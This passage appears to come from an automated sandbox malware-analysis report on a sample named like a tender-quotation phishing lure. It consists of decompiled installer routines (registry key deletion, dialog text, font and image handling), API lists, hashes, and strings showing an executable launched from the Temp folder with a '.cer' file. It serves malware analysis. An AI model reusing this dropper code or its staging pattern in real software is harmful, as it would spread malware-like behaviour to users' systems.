          						_t24 = 1 / _t52 + _t53;
          					}
          					_t25 = _t24 & 0x00ffffff;
          					_t55 = _t24 >> 0;
          					_t46 = 0xa;
          					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
          				} else {
          					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
          					_t50 = 0;
          				}
          				_t31 = E004066A5(_t44, _t50, _t55,  &_v68, 0xffffffdf);
          				_t33 = E004066A5(_t44, _t50, _t55,  &_v132, _t44);
          				_t34 = E004066A5(_t44, _t50, 0x423748, 0x423748, _a8);
          				wsprintfW(_t34 + lstrlenW(0x423748) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
          				return SetDlgItemTextW( *0x429238, _a4, 0x423748);
          			}



















          0x00404e7a
          0x00404e7f
          0x00404e87
          0x00404e88
          0x00404e95
          0x00404e9d
          0x00404e9e
          0x00404ea0
          0x00404ea2
          0x00404ea4
          0x00404ea7
          0x00404ea7
          0x00404eae
          0x00404eb4
          0x00404eb4
          0x00404ebb
          0x00404ec2
          0x00404ec5
          0x00404ec8
          0x00404ec8
          0x00404ecc
          0x00404edc
          0x00404ede
          0x00404ee1
          0x00404e8a
          0x00404e8a
          0x00404e91
          0x00404e91
          0x00404ee9
          0x00404ef4
          0x00404f0a
          0x00404f1b
          0x00404f37

          APIs
          • lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
          • wsprintfW.USER32 ref: 00404F1B
          • SetDlgItemTextW.USER32 ref: 00404F2E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: ItemTextlstrlenwsprintf
          • String ID: %u.%u%s%s$H7B
          • API String ID: 3540041739-107966168
          • Opcode ID: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
          • Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
          • Opcode Fuzzy Hash: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
          • Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 48%
          			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
          				void* _v8;
          				int _v12;
          				short _v536;
          				void* _t27;
          				signed int _t33;
          				intOrPtr* _t35;
          				signed int _t45;
          				signed int _t46;
          				signed int _t47;
          
          				_t46 = _a12;
          				_t47 = _t46 & 0x00000300;
          				_t45 = _t46 & 0x00000001;
          				_t27 = E004064D5(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
          				if(_t27 == 0) {
          					if((_a12 & 0x00000002) == 0) {
          						L3:
          						_push(0x105);
          						_push( &_v536);
          						_push(0);
          						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
          							__eflags = _t45;
          							if(__eflags != 0) {
          								L10:
          								RegCloseKey(_v8);
          								return 0x3eb;
          							}
          							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
          							__eflags = _t33;
          							if(_t33 != 0) {
          								break;
          							}
          							_push(0x105);
          							_push( &_v536);
          							_push(_t45);
          						}
          						RegCloseKey(_v8);
          						_t35 = E00406A35(3);
          						if(_t35 != 0) {
          							return  *_t35(_a4, _a8, _t47, 0);
          						}
          						return RegDeleteKeyW(_a4, _a8);
          					}
          					_v12 = 0;
          					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
          						goto L10;
          					}
          					goto L3;
          				}
          				return _t27;
          			}












          0x00402eb4
          0x00402ebd
          0x00402ec6
          0x00402ed2
          0x00402edb
          0x00402ee5
          0x00402f0a
          0x00402f10
          0x00402f15
          0x00402f16
          0x00402f46
          0x00402f1f
          0x00402f21
          0x00402f71
          0x00402f74
          0x00000000
          0x00402f7a
          0x00402f30
          0x00402f35
          0x00402f37
          0x00000000
          0x00000000
          0x00402f3f
          0x00402f44
          0x00402f45
          0x00402f45
          0x00402f52
          0x00402f5a
          0x00402f61
          0x00000000
          0x00402f8a
          0x00000000
          0x00402f69
          0x00402ef5
          0x00402f08
          0x00000000
          0x00000000
          0x00000000
          0x00402f08
          0x00402f90

          APIs
          • RegEnumValueW.ADVAPI32 ref: 00402EFD
          • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
          • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
          • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
          • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CloseEnum$DeleteValue
          • String ID:
          • API String ID: 1354259210-0
          • Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
          • Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
          • Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
          • Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 77%
          			E00401D81(void* __ebx, void* __edx) {
          				struct HWND__* _t30;
          				WCHAR* _t38;
          				void* _t48;
          				void* _t53;
          				signed int _t55;
          				signed int _t60;
          				long _t63;
          				void* _t65;
          
          				_t53 = __ebx;
          				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
          					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
          				} else {
          					E00402D84(2);
          					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
          				}
          				_t55 =  *(_t65 - 0x24);
          				 *(_t65 + 8) = _t30;
          				_t60 = _t55 & 0x00000004;
          				 *(_t65 - 0x38) = _t55 & 0x00000003;
          				 *(_t65 - 0x18) = _t55 >> 0x1f;
          				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
          				if((_t55 & 0x00010000) == 0) {
          					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
          				} else {
          					_t38 = E00402DA6(0x11);
          				}
          				 *(_t65 - 0x44) = _t38;
          				GetClientRect( *(_t65 + 8), _t65 - 0x60);
          				asm("sbb esi, esi");
          				_t63 = LoadImageW( ~_t60 &  *0x42a260,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
          				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
          				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
          					DeleteObject(_t48);
          				}
          				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
          					_push(_t63);
          					E004065AF();
          				}
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t65 - 4));
          				return 0;
          			}











          0x00401d81
          0x00401d85
          0x00401d9a
          0x00401d87
          0x00401d89
          0x00401d8f
          0x00401d8f
          0x00401da0
          0x00401da3
          0x00401dad
          0x00401db0
          0x00401db8
          0x00401dc9
          0x00401dcc
          0x00401dd7
          0x00401dce
          0x00401dd0
          0x00401dd0
          0x00401ddb
          0x00401de5
          0x00401e0c
          0x00401e1b
          0x00401e29
          0x00401e31
          0x00401e39
          0x00401e39
          0x00401e42
          0x00401e48
          0x00402ba4
          0x00402ba4
          0x00402c2d
          0x00402c39

          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
          • String ID:
          • API String ID: 1849352358-0
          • Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
          • Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
          • Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
          • Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 73%
          			E00401E4E(intOrPtr __edx) {
          				void* __edi;
          				int _t9;
          				signed char _t15;
          				struct HFONT__* _t18;
          				intOrPtr _t30;
          				void* _t31;
          				struct HDC__* _t33;
          				void* _t35;
          
          				_t30 = __edx;
          				_t33 = GetDC( *(_t35 - 8));
          				_t9 = E00402D84(2);
          				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
          				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
          				ReleaseDC( *(_t35 - 8), _t33);
          				 *0x40ce08 = E00402D84(3);
          				_t15 =  *((intOrPtr*)(_t35 - 0x20));
          				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
          				 *0x40ce0f = 1;
          				 *0x40ce0c = _t15 & 0x00000001;
          				 *0x40ce0d = _t15 & 0x00000002;
          				 *0x40ce0e = _t15 & 0x00000004;
          				E004066A5(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
          				_t18 = CreateFontIndirectW(0x40cdf8);
          				_push(_t18);
          				_push(_t31);
          				E004065AF();
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
          				return 0;
          			}











          0x00401e4e
          0x00401e59
          0x00401e5b
          0x00401e68
          0x00401e7f
          0x00401e84
          0x00401e91
          0x00401e96
          0x00401e9a
          0x00401ea5
          0x00401eac
          0x00401ebe
          0x00401ec4
          0x00401ec9
          0x00401ed3
          0x00402638
          0x0040156d
          0x00402ba4
          0x00402c2d
          0x00402c39

          APIs
          • GetDC.USER32(?), ref: 00401E51
          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
          • MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
          • ReleaseDC.USER32 ref: 00401E84
            • Part of subcall function 004066A5: lstrcatW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
            • Part of subcall function 004066A5: lstrlenW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
          • CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
          • String ID:
          • API String ID: 2584051700-0
          • Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
          • Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
          • Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
          • Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 59%
          			E00401C43(intOrPtr __edx) {
          				int _t29;
          				long _t30;
          				signed int _t32;
          				WCHAR* _t35;
          				long _t36;
          				int _t41;
          				signed int _t42;
          				int _t46;
          				int _t56;
          				intOrPtr _t57;
          				struct HWND__* _t63;
          				void* _t64;
          
          				_t57 = __edx;
          				_t29 = E00402D84(3);
          				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
          				 *(_t64 - 0x18) = _t29;
          				_t30 = E00402D84(4);
          				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
          				 *(_t64 + 8) = _t30;
          				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
          					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
          				}
          				__eflags =  *(_t64 - 0x1c) & 0x00000002;
          				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
          					 *(_t64 + 8) = E00402DA6(0x44);
          				}
          				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
          				_push(1);
          				if(__eflags != 0) {
          					_t61 = E00402DA6();
          					_t32 = E00402DA6();
          					asm("sbb ecx, ecx");
          					asm("sbb eax, eax");
          					_t35 =  ~( *_t31) & _t61;
          					__eflags = _t35;
          					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
          					goto L10;
          				} else {
          					_t63 = E00402D84();
          					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
          					_t41 = E00402D84(2);
          					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
          					_t56 =  *(_t64 - 0x1c) >> 2;
          					if(__eflags == 0) {
          						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
          						L10:
          						 *(_t64 - 0x38) = _t36;
          					} else {
          						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
          						asm("sbb eax, eax");
          						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
          					}
          				}
          				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
          				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
          					_push( *(_t64 - 0x38));
          					E004065AF();
          				}
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t64 - 4));
          				return 0;
          			}















          0x00401c43
          0x00401c45
          0x00401c4c
          0x00401c4f
          0x00401c52
          0x00401c5c
          0x00401c60
          0x00401c63
          0x00401c6c
          0x00401c6c
          0x00401c6f
          0x00401c73
          0x00401c7c
          0x00401c7c
          0x00401c7f
          0x00401c83
          0x00401c85
          0x00401cda
          0x00401cdc
          0x00401ce7
          0x00401cf1
          0x00401cf4
          0x00401cf4
          0x00401cfd
          0x00000000
          0x00401c87
          0x00401c8e
          0x00401c90
          0x00401c93
          0x00401c99
          0x00401ca0
          0x00401ca3
          0x00401ccb
          0x00401d03
          0x00401d03
          0x00401ca5
          0x00401cb3
          0x00401cbb
          0x00401cbe
          0x00401cbe
          0x00401ca3
          0x00401d06
          0x00401d09
          0x00401d0f
          0x00402ba4
          0x00402ba4
          0x00402c2d
          0x00402c39

          APIs
          • SendMessageTimeoutW.USER32 ref: 00401CB3
          • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend$Timeout
          • String ID: !
          • API String ID: 1777923405-2657877971
          • Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
          • Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
          • Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
          • Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 91%
          			E00406536(void* __ecx, void* __eflags, char _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
          				int _v8;
          				long _t21;
          				long _t24;
          				char* _t30;
          
          				asm("sbb eax, eax");
          				_v8 = 0x800;
          				_t5 =  &_a4; // 0x422728
          				_t21 = E004064D5(__eflags,  *_t5, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
          				_t30 = _a16;
          				if(_t21 != 0) {
          					L4:
          					 *_t30 =  *_t30 & 0x00000000;
          				} else {
          					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
          					_t21 = RegCloseKey(_a20);
          					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
          					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
          						goto L4;
          					}
          				}
          				return _t21;
          			}







          0x00406544
          0x00406546
          0x0040655b
          0x0040655e
          0x00406563
          0x00406568
          0x004065a6
          0x004065a6
          0x0040656a
          0x0040657c
          0x00406587
          0x0040658d
          0x00406598
          0x00000000
          0x00000000
          0x00406598
          0x004065ac

          APIs
          • RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,0040A230,00000000,('B,00000000,?,?,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,?,?,0040679D,80000002), ref: 0040657C
          • RegCloseKey.ADVAPI32(?,?,0040679D,80000002,Software\Microsoft\Windows\CurrentVersion,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,00422728), ref: 00406587
          Strings
          • "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer, xrefs: 0040653D
          • ('B, xrefs: 0040655B
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CloseQueryValue
          • String ID: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer$('B
          • API String ID: 3356406503-2935152254
          • Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
          • Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
          • Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
          • Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 58%
          			E00405F37(WCHAR* _a4) {
          				WCHAR* _t9;
          
          				_t9 = _a4;
          				_push( &(_t9[lstrlenW(_t9)]));
          				_push(_t9);
          				if( *(CharPrevW()) != 0x5c) {
          					lstrcatW(_t9, 0x40a014);
          				}
          				return _t9;
          			}




          0x00405f38
          0x00405f45
          0x00405f46
          0x00405f51
          0x00405f59
          0x00405f59
          0x00405f61

          APIs
          • lstrlenW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,0040362D,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00405F3D
          • CharPrevW.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,0040362D,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00405F47
          • lstrcatW.KERNEL32(?,0040A014), ref: 00405F59
          Strings
          • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405F37
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CharPrevlstrcatlstrlen
          • String ID: C:\Users\user~1\AppData\Local\Temp\
          • API String ID: 2659869361-2382934351
          • Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
          • Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
          • Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
          • Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 89%
          			E0040563E(struct HWND__* _a4, int _a8, int _a12, long _a16) {
          				int _t15;
          				long _t16;
          
          				_t15 = _a8;
          				if(_t15 != 0x102) {
          					if(_t15 != 0x200) {
          						_t16 = _a16;
          						L7:
          						if(_t15 == 0x419 &&  *0x423734 != _t16) {
          							_push(_t16);
          							_push(6);
          							 *0x423734 = _t16;
          							E00404FFF();
          						}
          						L11:
          						return CallWindowProcW( *0x42373c, _a4, _t15, _a12, _t16);
          					}
          					if(IsWindowVisible(_a4) == 0) {
          						L10:
          						_t16 = _a16;
          						goto L11;
          					}
          					_t16 = E00404F7F(_a4, 1);
          					_t15 = 0x419;
          					goto L7;
          				}
          				if(_a12 != 0x20) {
          					goto L10;
          				}
          				E00404610(0x413);
          				return 0;
          			}





          0x00405642
          0x0040564c
          0x00405668
          0x0040568a
          0x0040568d
          0x00405693
          0x0040569d
          0x0040569e
          0x004056a0
          0x004056a6
          0x004056a6
          0x004056b0
          0x00000000
          0x004056be
          0x00405675
          0x004056ad
          0x004056ad
          0x00000000
          0x004056ad
          0x00405681
          0x00405683
          0x00000000
          0x00405683
          0x00405652
          0x00000000
          0x00000000
          0x00405659
          0x00000000

          APIs
          • IsWindowVisible.USER32 ref: 0040566D
          • CallWindowProcW.USER32(?,?,?,?), ref: 004056BE
            • Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
